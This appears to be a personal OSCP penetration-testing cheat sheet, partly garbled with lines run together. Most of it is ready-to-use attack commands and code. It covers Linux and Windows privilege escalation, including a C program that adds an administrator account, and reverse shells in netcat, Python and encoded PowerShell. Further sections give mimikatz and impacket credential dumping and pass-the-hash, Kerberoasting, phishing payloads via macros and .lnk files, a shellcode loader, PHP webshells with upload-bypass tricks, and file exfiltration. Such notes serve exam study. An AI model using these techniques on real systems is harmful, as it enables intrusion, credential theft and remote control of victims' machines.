Then: gcc -shared -fPIC -o $outputLocation $exploitLocation.c
-gcc -shared -fPIC -nostartfiles -o file file.c
$file.so
Vulnerability with nginx, an http and reverse proxy server https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
Run the find SUID command, then run strings on the binary if you don’t know what it does
If it starts a service from the PATH, you can print $PATH
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c
int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
-getcap -r / 2>/dev/null
- this will show up during linpeas, but it’s still good to know
cat /etc/exports
'no_root_squash'
then the directory shown is shareable and can be mountedmkdir /tmp/mountme
mount -o rw,vers=2 $kaliIP:/tmp /tmp/mountme
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme/x.c
gcc /tmp/mountme/x.c -o /tmo/mountme/x
chmod +s /tmp/mountme/x
then from target:./x
Reverse shells:
busybox nc $kaliIP 4444 -e sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $kaliIP $kaliPort >/tmp/f
Add file to path:
export PATH="/usr/lib/gcc/i486-linux-gnu/4.6/:$PATH"
If you can edit /etc/sudoers
:
"echo $user ALL=(ALL) NOPASSWD: ALL >> c:$LFILE"
Remember that backticks can take precedence over other commands. Ex:
ls
User enum:
whoami
whoami /groups
- display groups of current userwhoami /priv
- check our privilegesnet user
- get list of all local users on machine (this will not include service accounts such as inetserv)net user steve
- get user info for stevenet group /domain
- all local groupsnet localgroup administrator
- can sometimes not work as just net localgroup
if we don’t have a logged in sessionnet group "Domain Admins" /domain
dsquery user
dsquery computer
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
(PASSWD_NOTREQD)findstr (grep for Windows) commands: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findstr
wmic cpu get DataWidth, Description, AddressWidth
- check architecturewmic qfe
- check patcheswmic logicaldisk get caption, description, providername
- checks drivesNetwork enum:
ipconfig
or ipconfig /all
arp -a
- (arp -all) - checks IP and MAC addressesnetstat -ano
- what ports are listening/connected, take note if anything is firewalled or not shown in the originalnmap scanRunning Processes/Services
tasklist
- Get a list of running processestasklist /SVC
- servicesnet start
- check which services are runningsScheduled Tasks:
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "TaskName:"
Search:
where /R c:\windows bash.exe
- where in C:\Windows
is bash.exe (/R means recursive)dir /R
- like ls -la
Password hunting:
findstr /si password *.txt *.ini *.config
- checks from whichever directory and subdirectories and ignores case for the string passwordcmdkey /list
- To list the stored credentials on the machine.reg query HKLM /f pass /t REG_SZ /s
- pay attention to ControlSet keysnet user $user $password /add
net localgroup Administrators $user /add
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
Get-LocalUser
- get list of all local usersGet-LocalUser steve
- same as net user steveGet-LocalGroup
- all local groupsGet-LocalGroupMember $groupName
- list of users in that groupsysteminfo
- OS, version, architecture, etcipconfig /all
- list all network interfacesroute print
- display routing table containing all routes of the systemnetstat -ano
- list all active network connections
Get-Process
- show running processesGet-Process $processName | Format-List *
- get all information about a processFinding info about applications:
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\" | select displayname
- Displays 32 bit applications (remove ‘select displayname’ for more info)Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
- Displays 64 bit applications (remove ‘select displayname’ for more info):Searching for specific things:
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
(for Keepass db)Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\$user\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Runas:
- runas user:$user cmd
- will have to enter password after, but it gets a shell as that user
- C:\Windows\System32\runas.exe /user:$DOMAIN\$User /save cred "C:\Windows\System32\cmd.exe /c $Command
- C:\Windows\System32\runas.exe /user:$DOMAIN\$User /save cred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\proof.txt > $outputlocation.txt
- With InvokeRunasCs.ps1
:
- Import-Module .\Invoke-RunasCs.ps1
- Invoke-RunasCs svc_mssql trustno1 'c:/xampp/htdocs/uploads/nc.exe 192.168.45.204 4444 -e cmd.exe'
- If this doesn’t work, the issue may be the upload location of the nc
binary.
Get-History
- may not work(Get-PSReadlineOption).HistorySavePath
cat
or type
output file and check that output for interesting files
Download file from remote serveriwr -uri http://$kaliIP/file.ext -outfile file.ext
https://github.com/gtworek/Priv2Admin - which privileges can do what
icacls
Windows utility orGet-ACL
- PowerShell CmdletExecutables:
PowerShell
Other
systeminfo
output from the machineImport-Module ./PowerUp.ps1
. .\PowerUp.ps1
Then Invoke-AllChecks
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
Example for the regsvc service:
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
NT AUTHORITY\INTERACTIVE Allow Full Control
for this service. If we do we can make a malicious executable run a command.cmd.exe /k net localgroup administrators $user /add
x86_64-w64-mingw32-gcc $exploit.c -o $exploit.exe
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d $exploit.exe /f
sc start regsvc
icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Go into process monitor and set filters for “Path ends with .dll” and “Result is NAME NOT FOUND”
sc start dllsvc
(or stop first, then start)msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Invoke-AllChecks
“SERVICE_CHANGE_CONFIG”
permission on the daclsvc
service:
sc config daclsvc binpath= "net localgroup administrators $user /add"
sc stop daclsvc
and sc start daclsvc
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
Program.exe
, Program Files.exe
, Program Files\Unquoted.exe
… etc. So the goal is to place our malicious executable in any of those directories we have write access to. The example lab uses: C:\Program Files\Unquoted Path Service\Common.exe
If you get a pop up that says To continue, enter an admin user name and password.
and has a Show more details
option, you may be able to open up an internet explorer window showing the publisher’s certificate. It will open it up as a SYSTEM level user, so you can use internet explorer to pop a shell.
nt authority\system
.Goal is to replace a service exe and either restart the service or reboot (shutdown /r /t 0
)
Malicious.c file below:
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user poppop PartyParty123! /add");
i = system ("net localgroup administrators poppop /add");
return 0;
}
Compile the C Program above, and you can use it to create a new admin user (poppop:PartyParty123!
).
-i686-w64-mingw32-gcc adduser.c -o adduser.exe
remember to try transferring the nc.exe binary When you have SeImpersonatePrivilege
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
.\PrintSpoofer.exe -c "nc.exe $kaliIP $port -e cmd"
.\PrintSpoofer64.exe -i -c cmd
".\GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe $kaliIP $port"
.\SweetPotato.exe -e EfsRpc -p c:\Users\Public\nc64.exe -a "<ip> <port> -e cmd"
.\SweetPotato.exe -e EfsRpc -p c:\Users\Public\nc.exe -a "10.10.10.10 1234 -e cmd"
One liner: .\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::msv" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
privilege::debug
token::elevate
lsadump::sam
sekurlsa::logonpasswords
lsadump::dcsync /user:$domain\$user (to obtain NTLM hash)
impacket-secretsdump -just-dc-user $user $domain.com /$user:"$password"@$targetIP
impacket-psexec -hashes 00000000000000000000000000000000:$NTLMhash Administrator@$targetIP
- From a GUI must be run as admin, (or in a cmd that is running as admin). UAC stops it otherwise.
- sekurlsa::tickets
can help steal a TGS or, even better a, TGTRunning Processes Powershell
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
Search for unquoted service paths:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """
Check to see if you have the ability to do privileged writes i.e. writing to System32. There are exploits available on hacktricks.
show firewall profile:
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
Enumerate Installed Programs
wmic product get name, version, vendor
Enumerate Windows Updates
wmic qfe get Caption, Description, HotFixID, InstalledOn
Check for folders/files Everyone can write to:
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
List drivers:
(cmd)`driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path |
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}
Notes:
ls
, Get-ChildItem
, or gci
with -force
(like ls -la
but for Windows)#### FROM HACKTRICKS: Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable
- I found that this line is not needed::sc config TermService start= auto
- I found that this line is not needed::net start Termservice
- found that this line is not neededpython3 -m http.server $port
iwr -uri http://$kaliIP:$port/$file -o $file
wget http://$kali IP:$port/$file
nc -w 3 $kaliIP 4444 < file.txt
nc -lvnp 4444 > file.txt
sudo impacket-smbserver -smb2support $shareName $sharedDirectory -username "$kaliUser" -password "$kaliPass"
sudo impacket-smbserver -smb2support share . -username "pop" -password "party1"
net use \\$kaliIP\share /user:pop party1
copy $file \\$kaliIP\share
xfreerdp /u:admin /p:password /v:$target /drive:/$directoryToShare,$nameToShare /dynamic-resolution
xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/.
scp -P $sshPort $file $user@$targetIP:$destFolder
python -m pyftpdlib -p 21 --write
(to provide write access)ftp $kaliPass
(anonymous:anonymous)`wsgidav –host=0.0.0.0 –port=80 –auth=anonymous –root $directoryToShare
Downloads a file from a self hosted web server:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs SAMPLE USAGE: `cscript wget.vbs http://$kaliIP/evil.exe evil.exe`
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://[IP]/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
Usage:
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
- powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://$kaliIP/winPEAS.bat, 'winpeas.bat')
exe2hex converts to a script that recreates the file from hex string via non-interactive methods:
powershell.exe (New-Object System.Net.WebClient).UploadFile('C:\Users\Administrator\loot.zip', 'http://$kaliIP$/20220204195540_loot.zip')
You can use Kerbrute to enumerate accounts without ever having to exploit a machine:
kerbrute userenum --dc [IP] -d CONTROLLER.local /home/kali/Documents/TryHackMe/Labs/Attacking_Kerberos/User.txt
-Note you will need to add an entry to your /etc/hosts file.
https://github.com/GhostPack/Rubeus
Rubeus.exe harvest /interval:30
- to harvest ticketsrubeus.exe kerberoast
- to get hashes of kerberoastable accounts. Use bloodhound to see if they are worth anything.Rubeus.exe asreproast
Impacket-GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip [IP] -request
Bash script: for user in $(cat users.txt); do impacket-GetNPUsers -no-pass -dc-ip 10.10.10.161 $domain/${user} | grep -v Impacket; done
mimikatz.exe
privilege::debug
- if you run and don’t get 20, it won’t worksekurlsa::tickets /export
- to export tickets on machine.
lsadump::lsa /patch
- If you are on a DC you can dump the hasheslsadump::lsa /inject /name:krbtgt
- can also create a golden ticket on a DC:
misc::cmd
\\MACHINE1 cmd.exe
Guide Basic usage From Kali:
sudo ip tuntap add user pop mode tun ligolo
sudo ip link set ligolo up
sudo ip route add $targetIP.0/24 dev ligolo
sudo ./proxy -selfcert
From Windows Target (agent file):
.\ligolo.exe -connect $kaliIP:11601 -ignore-cert
OR
From Linux Target (agent file):
./ligolo -connect $kaliIP:11601 -ignore-cert
Then from Kali:
session
1
Start
listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:6666
This allows you to access port 5555 on target from 127.0.0.1:6666 (kali machine).Local Port Forwarding:
- ip route add 240.0.0.1/32 dev ligolo
- 240.0.0.1 will point to whatever machine Ligolo-ng has an active tunnel on.
While the OSCP Lab discusess other tools such as socat, sshuttle, and plink, I found that Ligolo-ng was able to provide all of the same functionality and more simply. That said, I am linking a guide discusess the other tools. Here is frankyyano’s Pivoting & Tunneling guide.
Port scanning through a tunnel can take a while, and it may be only TCP scans that work so no UDP or ICMP
binwalk $file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" $file # Extracts all data
strings $file
strings -n 6 $file # Extracts strings with a minimum length of 6
file $file
exiftool $file
python3 -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 36 columns 102; reset;
stty -a
Others: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys
Sub AutoOpen()
MyMacro
End Sub
Sub_ _Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
...
Str = Str + "A== "
End Sub
Python script to create the string above:
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')
A Linux PATH vulnerability typically arises when a malicious user is able to exploit the environment variable PATH
to execute unintended commands. This is especially problematic when scripts or programs with elevated privileges (like root) inadvertently execute malicious code instead of legitimate system binaries. Here’s a classic example of such a vulnerability:
Misconfigured PATH in a Privileged Script Scenario:
Imagine there’s a script that is run by the root user or by a setuid root binary. This script includes a line that calls a common command like ls
without specifying the full path (e.g., /bin/ls
). The script assumes that the ls
command is being run from /bin/ls
, but it doesn’t explicitly set the PATH
variable.
(/usr/local/bin/example_script.sh
):
#!/bin/bash
# The script assumes the `ls` command is safe to run without full path.
ls /important_directory
If an attacker can influence the PATH
environment variable (perhaps by modifying it before the script runs), they could replace the ls
command with a malicious one.
For example, the attacker might do the following:
ls
in a directory they control:#!/bin/bash
echo "Malicious ls executed!"
# Potentially harmful actions could be added here
PATH
variable to include the directory containing the malicious ls
script before /bin
:export PATH=/home/attacker:$PATH
example_script.sh
) is executed by root, it searches for ls
in the directories listed in PATH
in order. Since the attacker’s directory is listed first, the script will execute the malicious ls
instead of the legitimate /bin/ls
.Consider a scenario where a privileged Windows service or script is executed with administrator rights. The script calls common Windows commands, such as net.exe
(used for managing network settings) without specifying the full path (e.g., C:\Windows\System32\net.exe
).
If an attacker can control the PATH
environment variable, they can place a malicious executable named net.exe
in a directory that appears earlier in the PATH
order, causing the system to execute their malicious code instead of the legitimate system command.
@echo off
rem The script attempts to add a user to the Administrators group
net localgroup Administrators MaliciousUser /add
If the script does not specify the full path to net.exe
, it will search for net.exe
in the directories listed in the PATH
environment variable. An attacker could exploit this by doing the following:
Create a Malicious net.exe
: The attacker creates a malicious net.exe
that performs unintended actions, such as creating a backdoor user or downloading and executing malware.
Modify the PATH: The attacker modifies the PATH
environment variable to include a directory they control at the beginning of the PATH
order. This directory contains their malicious net.exe
.
set PATH=C:\Users\Attacker\malicious_directory;%PATH%
Execute the Vulnerable Script: When the vulnerable script runs, it uses the PATH
variable to locate net.exe
. Since the attacker’s directory is listed first in PATH
, the system will execute the malicious net.exe
instead of the legitimate one located in C:\Windows\System32
.
Windows Library files (.Library-ms
) connect users with data stored in remote locations (web services or shares).
Create a Windows library file connecting to a WebDAV share. In the webDAV directory, we will put a payload in the form of a .lnk
file. We use the webDAV directory rather than our own web server to avoid spam filters.
Steps:
mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav
config.Library-ms
file
<?xml version=”1.0” encoding=”UTF-8”?>
/home/kali/webDAV
. So we need to add a .lnk
file there.powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://$kaliIP/powercat.ps1'); powercat -c $kaliIP -p 4444 -e powershell"
config.Library-ms
file, they will open it, and then hopefully execute the .lnk
file.sudo swaks -t victim@domain.com -t victim2@domain.com --from attacker@domain.com --attach @config.Library-ms --server $mailServerIP --body @body.txt --header "Subject: Example Email" --suppress-data -ap
-t
= to, suppress-data
means to summarize info regarding SMTP transactions, and -ap
enables password authenticationAs these are my OSCP notes, and AV Evasion is outside the scope of the exam, I’m mostly leaving this content out of the guide for brevity. Below is a script for manual exploitation. It must be saved as an .ps1 file, transferred to the victim Windows machine, and ran (after powershell -ep bypass).
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
`$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };`
Service Control:
sc query windefend
- checks Windows Defendersc queryex type= service
- shows all services running on the machineFirewalls
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config
- just keep these in mind, but these should be automated when looking at automated toolsExample Image Upload POST Request:
POST /my-account/avatar HTTP/2
Host: 0a0e00a604e7b9e981067a4b00120099.web-security-academy.net
Cookie: session=s2YCbN4BxaVG3wnNJMH3ajYUVfKfLYTc
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------866603063390648708194728913
Content-Length: 519
Origin: https://0a0e00a604e7b9e981067a4b00120099.web-security-academy.net
Referer: https://0a0e00a604e7b9e981067a4b00120099.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------866603063390648708194728913
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/x-php
<?php echo system($_GET['command']); ?>
etc.
Exploits:
Content-Type
to application/pdf
or image/jpeg
before uploading and then access how you wouldfilename
to ..%2fwebshell.php
and then access from a different directory
$URL/files/avatars/webshell.php
, access from $URL/files/webshell.php
AddType application/x-httpd-php .fart
exploit.php.jpg
(could be parsed as php depending on algorithm)exploit.php.
(occasionally trailing .’s or spaces are stripped)exploit%2Ephp
(in case the filename is decoded but only server side)exploit.php;.jpg
(can cause discrepancies on what is considered the end of the file name)exploit.php%00.jpg
(can cause discrepancies on what is considered the end of the file name)exploit.p.phphp
(in case .php is stripped from the file)exiftool -Comment="<?php echo 'content here' . file_get_contents('/home/user/secret') . 'content here' ; ?>" image.jpg -o outfile.php
exiftool -Comment="<?php -r '\$sock=fsockopen(\"192.168.150.131\",80);\`/bin/bash <&3 >&3 2>&3\`;' ?>" image.jpg -o outfile.php
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php echo file_get_contents('/path/to/file'); ?>
There’s git-dumper
When we find a git directory on a website we can download it with:
wget -r http://site.com/.git
git-dumper http://site.com/.git folder.git
pipx install git-dumper
firstgit clone http://site.com/.git
git checkout
inside the directorygit clone
: Clone the repository to your local machine.
- git clone <repository_url>
git log
: View the commit history to understand the evolution of the repository.
- git log
git status
: Check the current status of the repository, including any modified or untracked files.
- git status
git diff
: View the differences between files, useful for understanding changes made between commits.
git diff
git branch
: List all branches in the repository.
- git branch -a
git show
: Show information about a specific commit.
- git show <commit_hash>
(967fa71c359fffcbeb7e2b72b27a321612e3ad11)
git blame
: See who last modified each line of a file, helpful for understanding the history of changes.
- git blame <file_name>
git grep
: Search for specific strings or patterns within the repository.
- git grep <search_term>
git remote
: View the remote repositories associated with the local repository.
-git remote -v
git reflog
: Show a log of changes to the repository’s HEAD.
- git reflog
git fsck
: Perform a filesystem check on the repository.
- git fsck
To crack the entry password:
keepass2john Database.kdbx > Database.hash
john --format=keepass Database.hash
for entry passwordkpcli --kdb Database.kdbx
ls
cd $Directory
and `show “$Full Entry”This is the ms-mcs-AdmPwd
If LAPS is enabled, try any of:
nxc ldap $target -u $user -p $password --kdcHost $target -M laps
python3 pyLAPS.py --action get -u '$user' -d 'butchy.offsec' -p '$password' --dc-ip $target
-p NTLM:NTLM
)Selecting a module:
Local commands:
Payloads (msfvenom)
powershell -ep bypass ./PowerUp.ps1
cat «‘EOT’> file.name
text text EOT (the EOT ends the file)
Try when others aren’t working.
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.235",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")"
"
’s escaped with \
’s╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root 74 Oct 31 2019 /etc/cron.deny
-rw-r--r-- 1 root root 66 Jan 15 2021 /etc/crontab.bak
/etc/cron.d:
total 12
drwxr-xr-x 2 root root 4096 Nov 5 2020 .
drwxr-xr-x 51 root root 4096 Jan 15 2021 ..
-rw-r--r-- 1 root root 128 Oct 31 2019 0hourly
/etc/cron.daily:
total 8
drwxr-xr-x 2 root root 4096 Oct 31 2019 .
drwxr-xr-x 51 root root 4096 Jan 15 2021 ..
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Nov 5 2020 .
drwxr-xr-x 51 root root 4096 Jan 15 2021 ..
-rwxr-xr-x 1 root root 580 Oct 31 2019 0anacron
/etc/cron.monthly:
total 8
drwxr-xr-x 2 root root 4096 Oct 31 2019 .
drwxr-xr-x 51 root root 4096 Jan 15 2021 ..
/etc/cron.weekly:
total 8
drwxr-xr-x 2 root root 4096 Oct 31 2019 .
drwxr-xr-x 51 root root 4096 Jan 15 2021 ..
/var/spool/anacron:
total 20
drwxr-xr-x 2 root root 4096 Nov 6 2020 .
drwxr-xr-x 6 root root 4096 Nov 6 2020 ..
-rw------- 1 root root 9 Jul 27 17:08 cron.daily
-rw------- 1 root root 9 Jul 27 17:48 cron.monthly
-rw------- 1 root root 9 Jul 27 17:28 cron.weekly
*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh
SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
RANDOM_DELAY=45
START_HOURS_RANGE=3-22
This means that pull.sh is executed every two minutes, and backups.sh is every 3 minutes.
sudo apt-get install python3-venv
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
ORpip install requests urllib3==1.26.8 charset_normalizer==2.0.12
With specific modules namedpython $script.py
deactivate
Run these three commands:
export PYTHONWARNINGS="ignore:Unverified HTTPS request"
export REQUESTS_CA_BUNDLE=""
export CURL_CA_BUNDLE=""
unset
instead of export
import sys
import base64
payload = '$client = New-Object
System.Net.Sockets.TCPClient("__**192.168.118.2**__",__**443**__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
These become relevant when a php page in a browser is requesting another php file, such as in the case of http://example.com/index.php?page=config.php
Full page:
http://example.com/index.php?page=php://filter/resource=config.php
Base64:
http://example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config
Data:
http://example.com/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
Windows:
tree /f /a
- to list all files in directories and subdirectoriesLinux:
CTRL + r
- search through previous commandstree
similar to find .
CTRL + Shift + L
to move command line to top of the screen so you can see the results bettersmbclient //<IP>/<share_name> -c 'recurse;ls'
. This will recursively list all the files in the share, allowing you to quickly check if there is anything useful.ssh -p 2222(unless 22) -i $created_key(no pub) $user@$host
hashcat -h | grep -i “ssh” (22921 for example) |
To confirm if it’s enabled:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
Check which level is configured:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
If **0**
then, UAC won’t prompt (like disabled)
If **1**
the admin is asked for username and password to execute the binary with high rights (on Secure Desktop)
If **2**
(Always notify me) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
If **3**
like 1
but not necessary on Secure Desktop
If **4**
like 2
but not necessary on Secure Desktop
if **5**
(default) it will ask the administrator to confirm to run non Windows binaries with high privileges
Password spraying:
.\kerbrute_linux_arm64 passwordspray -d $domain.com $usersFile "$password"
impacket-smbclient [domain]/[user]:[password/password hash]@[Target IP Address] #we connect to the server rather than a share
impacket-lookupsid [domain]/[user]:[password/password hash]@[Target IP Address] #User enumeration on target
impacket-services [domain]/[user]:[Password/Password Hash]@[Target IP Address] [Action] #service enumeration
impacket-secretsdump [domain]/[user]:[password/password hash]@[Target IP Address] #Dumping hashes on target
impacket-secretsdump -sam '/path/to/SAM' -system '/path/to/SYSTEM' LOCAL
impacket-GetUserSPNs [domain]/[user]:[password/password hash]@[Target IP Address] -dc-ip <IP> -request #Kerberoasting, and request option dumps TGS
impacket-GetNPUsers.py test.local/ -dc-ip <IP> -usersfile usernames.txt -format hashcat -outputfile hashes.txt #AS-REProasting, need to provide usernames list
##RCE
impacket-psexec test.local/john:password123@10.10.10.1
impacket-psexec -hashes lmhash:nthash test.local/john@10.10.10.1
impacket-wmiexec test.local/john:password123@10.10.10.1
impacket-wmiexec -hashes lmhash:nthash test.local/john@10.10.10.1
impacket-smbexec test.local/john:password123@10.10.10.1
impacket-smbexec -hashes lmhash:nthash test.local/john@10.10.10.1
impacket-atexec test.local/john:password123@10.10.10.1 <command>
impacket-atexec -hashes lmhash:nthash test.local/john@10.10.10.1 <command>
